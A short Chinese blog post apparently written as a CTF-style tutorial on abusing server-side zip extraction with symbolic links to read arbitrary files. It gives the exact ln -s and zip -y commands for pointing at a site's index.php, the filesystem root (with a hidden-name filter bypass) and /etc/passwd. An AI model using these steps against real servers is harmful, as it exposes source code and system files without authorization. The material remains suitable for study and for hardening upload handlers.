软链接读取
已知服务器可以上传一个压缩包并且解压,网站后台会解压读取该软链接指向的服务器上的文件,就能达到读取任意文件的效果
(1)ln -s /home/task/index.php test 创建一个软链接
zip -y 1.zip test -y来指定打包压缩一个软链接文件,再去上传压缩包,就可以读取源码了(有时因为权限问题不能读取)
(2)读取根目录
ln -s / doll
zip -y 1.zip doll
如果存在过滤,可以尝试把doll换成.doll(隐藏文件)
ln -s / .doll
zip -y 1.zip .doll
实际操作:
(1)先准备好passwd.zip压缩文件
ln -s /etc/passwd passwd
zip -y passwd.zip passwd
(2)上传压缩文件

本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627593

浙公网安备 33010602011771号